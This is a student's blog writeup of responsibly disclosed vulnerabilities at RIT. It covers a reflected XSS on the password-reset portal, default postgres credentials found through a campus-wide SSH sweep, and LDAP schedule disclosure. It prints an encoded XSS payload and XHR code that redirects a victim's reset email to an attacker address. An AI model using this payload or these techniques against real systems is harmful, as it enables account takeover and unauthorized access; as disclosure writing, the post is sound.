home

How I Gained Access to RIT Student Accounts via XSS (2023)

As a cybersecurity student at RIT, I spent some time testing the security of our university systems.

This post is a writeup of three vulnerabilities I found:

  1. A reflected XSS vulnerability in RIT’s password reset portal, start.rit.edu, that enabled one click account takeover
  2. A postgres database with default credentials, accessible by any RIT account
  3. An LDAP information disclosure issue that allowed read access to student schedules by any RIT account

All findings were responsibly disclosed to RIT. Thank you to the RIT security team for responding quickly, and taking these issues seriously.


XSS in start.rit.edu and Account Takeover

start.rit.edu is a critical internal app at RIT used to manage:

image

While exploring the site, I found it was highly verbose in its error messages. Although not visible to the user, the site HTML contained full exception traces with file paths and class names. These stack traces offered insight into how backend logic and input validation were structured.

Example stack trace hidden in HTML:

Stack trace:
#0 /opt/claws/www/lib/Controller.php(36): InputValidator::sanitizeArray(Array, Array)
#1 /opt/claws/www/public/dispatch.php(229): Controller->sanitize()\n#2 {main}

Claws appears to be the internal name of the project that powers start.rit.edu, and is also used by RIT Administrators to manage accounts and services.

The Vulnerability

Eventually, I discovered that if you submitted a request with an unexpected query parameter name, the server reflected the parameter name in an error message without proper encoding.

FATAL CLAWS CONDITION: filter not defined for parameter_name<, child of .

It appeared that the server was iterating through parameter names, filtering parameter values based on parameter names. When a parameter name was unknown, the access of filter wasn’t defined and an error was thrown, including the unknown arbitary parameter name.

This meant I could inject JavaScript via the parameter name (not parameter value). For example:

start.rit.edu/.../index?<script>eval("\x61\x6c\x65\x72\x74(\"HI\")")</script>=b

The payload above is hex-encoded since parameter names with spaces or semicolons were not accepted.

Because the server didn’t use a Content Security Policy (CSP), the injected JavaScript executed immediately.

image

Achieving Account Takeover

Since this was the same portal used for password resets, the next step was figuring out how to abuse the XSS to change another user’s reset email address.

After figuring out how their API worked I created a payload that:

  1. Used XMLHttpRequest to create a MailPreference handler
  2. Parsed the response to get the form’s submission endpoint.
  3. Used XMLHttpRequest again to submit a POST request to change the users password reset email
var xhr1 = new XMLHttpRequest();
xhr1.open( "GET", "https://start.rit.edu/MailPreference", false );
xhr1.send( null );
...
// Parse out the handler number
...
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", handler_number, true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
xhr2.send("server_select=GOOGLE&RITEDUMAILFORWARD=&RITEDUVANITYNAME=&PUBLISH_SELECT=OFFICIAL&EMAIL=attacker_email%40gmail.com&submit=");

Delivering the Exploit

The full payload was hex-encoded and injected via a parameter name in a URL like:

https://start.rit.edu/Me?%3Cscript%3Eeval(%22\x76\x61\x72\x20...</script>=b

This link could be sent in a phishing link or embedded in an attacker page.

If the user clicked the link, they would be asked to login if they hadn’t already. The login would be through the official RIT SSO, which is typical for many RIT sites.

Once the user logged in, their session cookie and auto-filled credentials would allow the payload to run.

After the external email was changed, an attacker could reset the victim’s password using the standard flow.

(RIT patched the issue within two days of disclosure.)


RIT archive (default postgres credentials)

Given that RIT setup servers using LDAP, I thought it might be possible for servers to be misconfigured to allow logins for any RIT account (including students).

In order to find any RIT server that might allow student SSH access, I used nmap to scan the entire class B network range at RIT for port 22.

Once I had a list of servers that had port 22 open, I built a custom tool with libssh that would attempt to login with my own credentials. It would then run a few commmands and log the results (hostname, uname -a, ls /, ls /home/, etc.)

(After running this against the RIT network, I changed my password in case any honeypot was logging SSH credentials.)

SSH access

Collecting the results, I found that 16 servers allowed SSH access with my student credentials. Some of these were unimportant, since they were servers setup for students to complete or upload work, or test servers not running any real services.

Some servers had network mounted storage for university research, but the contents were set to non-readable.

Only a few cases had any real significance, one of which was digitalarchive.rit.edu, which had a postgres database exposed internally.

Digital Archive

Using the postgres command I was able to login with credentials postgres/postgres. This gave me read/write access to the Digital Archive database.

To verify I had access to the actual site, I created an account and added myself to the “Faculty Senate Minutes” group. I also viewed a small number of database entries.

A very small number of users had password hashes stored in the database. These appeared to be for users external to RIT who could not go through the typical SSO.

Attempting File Upload attack

The database also included what extensions were allowed to be uploaded per user. By default, users were only allowed PNG, PDF, and a few other formats.

I attempted to gain execution as the main site user by allowing my account to upload arbitary files, and uploading a PHP reverse shell. However the upload directory did not allow execution of scripts.

LDAP Group Information Disclosure

Some RIT servers are limited to particular classes/majors. For example, nitron is only for students taking courses in Software Engineering. Since RIT’s SSH servers use LDAP for authentication, I wondered if they used LDAP groups to store students majors/schedules.

Group membership data is available via the id and getent commands.

Example output:

id uid=62744(sjf5462) gid=5003(student) groups=5003(student),...(rit-section-current-csec-559-02-s)...

Included in the group list are:

After asking a friend if he was okay with me testing this against his account, I verified that I could see his entire class schedule. To make clear, this kind of access was not normally available through standard AD credentials, but was possible in Linux due to how RIT’s servers used a high-privilege AD account for NSS lookups.

Using the getent command I could also look up what users were in a given group. This information could be used to:


Conclusion

Thanks once again to the RIT Information Security team for their professionalism and responsiveness throughout the disclosure process. I’m grateful for their collaboration and for fostering an environment where responsible security research is valued.